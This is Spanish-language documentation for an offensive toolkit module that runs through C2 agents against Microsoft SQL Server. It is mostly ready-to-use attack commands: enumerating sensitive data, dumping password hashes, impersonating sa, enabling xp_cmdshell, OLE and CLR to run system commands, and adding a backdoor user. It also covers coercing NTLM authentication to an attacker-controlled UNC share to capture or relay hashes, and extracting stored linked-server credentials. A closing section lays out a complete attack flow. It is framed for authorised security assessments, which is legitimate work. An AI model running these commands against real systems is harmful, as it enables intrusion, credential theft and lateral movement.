El módulo SQL-BOF proporciona un conjunto completo de BOFs para interactuar con servidores Microsoft SQL Server durante una evaluación de seguridad autorizada. Todos los comandos se ejecutan bajo el prefijo mssql y están disponibles en agentes Beacon, Gopher y Kharon en Windows.

Flags Comunes

Todos los comandos de mssql aceptan los siguientes flags opcionales:

FlagDescripción
-d databaseBase de datos a utilizar
-l linkedserverEjecutar a través de un servidor vinculado (linked server)
-i impersonateUsuario a suplantar durante la ejecución
-u userUsuario SQL (autenticación SQL en lugar de Windows)
-p passwordContraseña SQL

Por defecto se usa autenticación integrada de Windows. Usa -u y -p solo cuando necesites autenticación SQL explícita.


Reconocimiento

mssql info

Obtiene información general del servidor SQL: versión, configuración, cuenta de servicio.

mssql info 192.168.10.10
mssql info 192.168.10.10 -u sa -p Password123

Cuándo usarlo: Primer paso al descubrir un servidor SQL. Identifica la versión (para buscar CVEs conocidos) y la cuenta de servicio (si es NT AUTHORITY\SYSTEM, la ejecución de comandos será con máximos privilegios).

mssql whoami

Muestra el usuario actual, el usuario mapeado y los roles asignados en el servidor SQL.

mssql whoami db-server01
mssql whoami db-server01 -l LINKED_DB

Cuándo usarlo: Después de conectarte, para entender tu contexto de privilegios. Si tienes el rol sysadmin, puedes hacer prácticamente todo.

mssql 1434udp

Consulta el puerto UDP 1434 del SQL Server Browser para descubrir instancias SQL en el host.

mssql 1434udp 192.168.10.10

Cuándo usarlo: Cuando un host tiene múltiples instancias SQL y necesitas identificar los nombres de instancia y puertos.

mssql databases

Enumera todas las bases de datos disponibles en el servidor.

mssql databases db-server01
mssql databases db-server01 -i sa

mssql tables

Lista las tablas dentro de una base de datos.

mssql tables db-server01
mssql tables db-server01 -d HRDatabase

mssql columns

Enumera las columnas de una tabla específica.

mssql columns db-server01 Users
mssql columns db-server01 Employees -d HRDatabase

mssql rows

Obtiene el conteo de filas en una tabla.

mssql rows db-server01 Users
mssql rows db-server01 Credentials -d SecretDB

Busca nombres de columnas que coincidan con una palabra clave. Útil para encontrar datos sensibles.

mssql search db-server01 password
mssql search db-server01 credit -d CustomerDB

Cuándo usarlo: Para localizar rápidamente tablas con datos sensibles como contraseñas, tarjetas de crédito, tokens, etc.

mssql query

Ejecuta una consulta SQL personalizada.

mssql query db-server01 "SELECT TOP 10 * FROM Users"
mssql query db-server01 "SELECT name,password_hash FROM sys.sql_logins" -i sa

Cuándo usarlo: Cuando los comandos predefinidos no cubren tu necesidad. Permite extraer datos específicos o ejecutar procedimientos almacenados.

mssql users

Enumera usuarios con acceso a la base de datos.

mssql users db-server01
mssql users db-server01 -d master

mssql impersonate

Descubre qué usuarios pueden ser suplantados desde tu contexto actual.

mssql impersonate db-server01

Cuándo usarlo: Si no tienes sysadmin, busca usuarios que puedas suplantar con -i. Si encuentras un usuario sa suplantable, obtienes control total.

Enumera servidores vinculados (linked servers) configurados.

mssql links db-server01
mssql links db-server01 -l OTRO_LINKED

Cuándo usarlo: Los linked servers son una vía de movimiento lateral. Un servidor vinculado puede tener credenciales configuradas que te otorguen acceso a otros servidores con diferentes privilegios.

mssql checkrpc

Verifica el estado de RPC en servidores vinculados.

mssql checkrpc db-server01

Cuándo usarlo: Antes de ejecutar comandos a través de linked servers. RPC debe estar habilitado para que xp_cmdshell funcione a través del enlace.

mssql agentstatus

Enumera el estado del SQL Server Agent y sus trabajos configurados.

mssql agentstatus db-server01

Cuándo usarlo: Para verificar si el SQL Agent está activo (necesario para agentcmd) y descubrir trabajos programados existentes que podrían revelar información sobre el entorno.


Ejecución de Comandos

mssql xpcmd

Ejecuta un comando del sistema operativo a través de xp_cmdshell. Requiere que xp_cmdshell esté habilitado (ver enablexp).

mssql xpcmd db-server01 "whoami /all"
mssql xpcmd db-server01 "dir C:\Users" -i sa
mssql xpcmd db-server01 "net user" -l LINKED_SERVER

Cuándo usarlo: Método más directo de ejecución de comandos en SQL Server. Requiere privilegios sysadmin. Si xp_cmdshell está deshabilitado, habilítalo primero con enablexp.

mssql olecmd

Ejecuta un comando del sistema usando OLE Automation Procedures (sp_OACreate).

mssql olecmd db-server01 "whoami"
mssql olecmd db-server01 "powershell -enc BASE64..." -i sa

Cuándo usarlo: Alternativa a xp_cmdshell cuando este está monitoreado o bloqueado. OLE Automation es menos común en reglas de detección. No devuelve output del comando.

mssql agentcmd

Ejecuta un comando del sistema mediante un trabajo del SQL Server Agent.

mssql agentcmd db-server01 "whoami"
mssql agentcmd db-server01 "net user hacker P@ss123 /add"

Cuándo usarlo: Tercera vía de ejecución de comandos. El SQL Agent ejecuta los comandos como un trabajo programado. Útil cuando xp_cmdshell y OLE están bloqueados. Requiere que el SQL Agent esté activo.

mssql clr

Carga y ejecuta un ensamblado .NET como procedimiento almacenado CLR.

mssql clr db-server01 /tmp/payload.dll MyFunction -h SHA512_HASH_AQUI
mssql clr db-server01 /tmp/SharpTool.dll Run -h ABC123... -i sa

Parámetros:

  • server — Servidor SQL destino
  • dll_path — Ruta local al archivo DLL .NET
  • function — Nombre de la función de entrada
  • -h hash — Hash SHA-512 del DLL (obligatorio)

Cuándo usarlo: Para ejecutar herramientas .NET completas (como SharpHound, Rubeus, etc.) directamente en el contexto del servidor SQL. Requiere CLR habilitado (ver enableclr). Es el método más poderoso pero también el más detectable.


Configuración de Módulos

Estos comandos habilitan o deshabilitan funcionalidades del servidor SQL necesarias para otros ataques.

xp_cmdshell

mssql enablexp db-server01        # Habilitar
mssql disablexp db-server01       # Deshabilitar
mssql enablexp db-server01 -i sa  # Habilitar suplantando sa

Cuándo usarlo: Habilita antes de usar xpcmd. Recuerda deshabilitar después de la operación para reducir el impacto.

CLR Integration

mssql enableclr db-server01       # Habilitar
mssql disableclr db-server01      # Deshabilitar

Cuándo usarlo: Necesario antes de usar clr para ejecutar ensamblados .NET.

OLE Automation Procedures

mssql enableole db-server01       # Habilitar
mssql disableole db-server01      # Deshabilitar

Cuándo usarlo: Necesario antes de usar olecmd.

RPC en Linked Servers

mssql enablerpc db-server01 LINKED_SRV    # Habilitar
mssql disablerpc db-server01 LINKED_SRV   # Deshabilitar

Cuándo usarlo: Habilita RPC en un linked server para poder ejecutar xp_cmdshell a través del enlace con -l.


Ataques de Credenciales

mssql smb

Fuerza al servidor SQL a realizar una autenticación NTLM contra una ruta UNC controlada por el atacante, usando xp_dirtree.

mssql smb db-server01 "\\10.10.14.5\share"
mssql smb db-server01 "\\ATTACKER\test" -i sa

Cuándo usarlo: Para capturar el hash NetNTLM de la cuenta de servicio SQL con herramientas como Responder o ntlmrelayx. Si la cuenta de servicio es una cuenta de dominio, el hash puede ser crackeado o retransmitido (relay) a otros servicios.

mssql adsi

Extrae credenciales almacenadas en un servidor ADSI vinculado.

mssql adsi db-server01 ADSI_LINKED_SRV
mssql adsi db-server01 ADSI_LINKED_SRV -p 389

Cuándo usarlo: Cuando hay un linked server de tipo ADSI configurado. Las credenciales almacenadas en la configuración del enlace ADSI se pueden extraer en texto claro.


Flujo de Ataque Típico

Un ataque completo contra SQL Server generalmente sigue este flujo:

# 1. Reconocimiento inicial
mssql info 192.168.10.10
mssql whoami 192.168.10.10

# 2. Verificar privilegios y opciones de escalación
mssql impersonate 192.168.10.10

# 3. Descubrir linked servers (movimiento lateral)
mssql links 192.168.10.10

# 4. Habilitar xp_cmdshell (requiere sysadmin)
mssql enablexp 192.168.10.10

# 5. Ejecutar comandos
mssql xpcmd 192.168.10.10 "whoami /all"
mssql xpcmd 192.168.10.10 "powershell -enc ..."

# 6. Limpiar: deshabilitar lo que habilitaste
mssql disablexp 192.168.10.10

Ejecución a través de Linked Servers

Todos los comandos pueden encadenarse a través de linked servers usando el flag -l:

# Ejecutar en el linked server
mssql xpcmd db-server01 -l LINKED_DB "whoami"

# Enumerar linked servers del linked server (doble salto)
mssql links db-server01 -l LINKED_DB

Suplantación de Usuarios

Si encuentras un usuario suplantable con impersonate, usa -i para elevar privilegios:

mssql impersonate db-server01        # Encontrar usuarios suplantables
mssql enablexp db-server01 -i sa     # Habilitar xp_cmdshell como sa
mssql xpcmd db-server01 -i sa "whoami"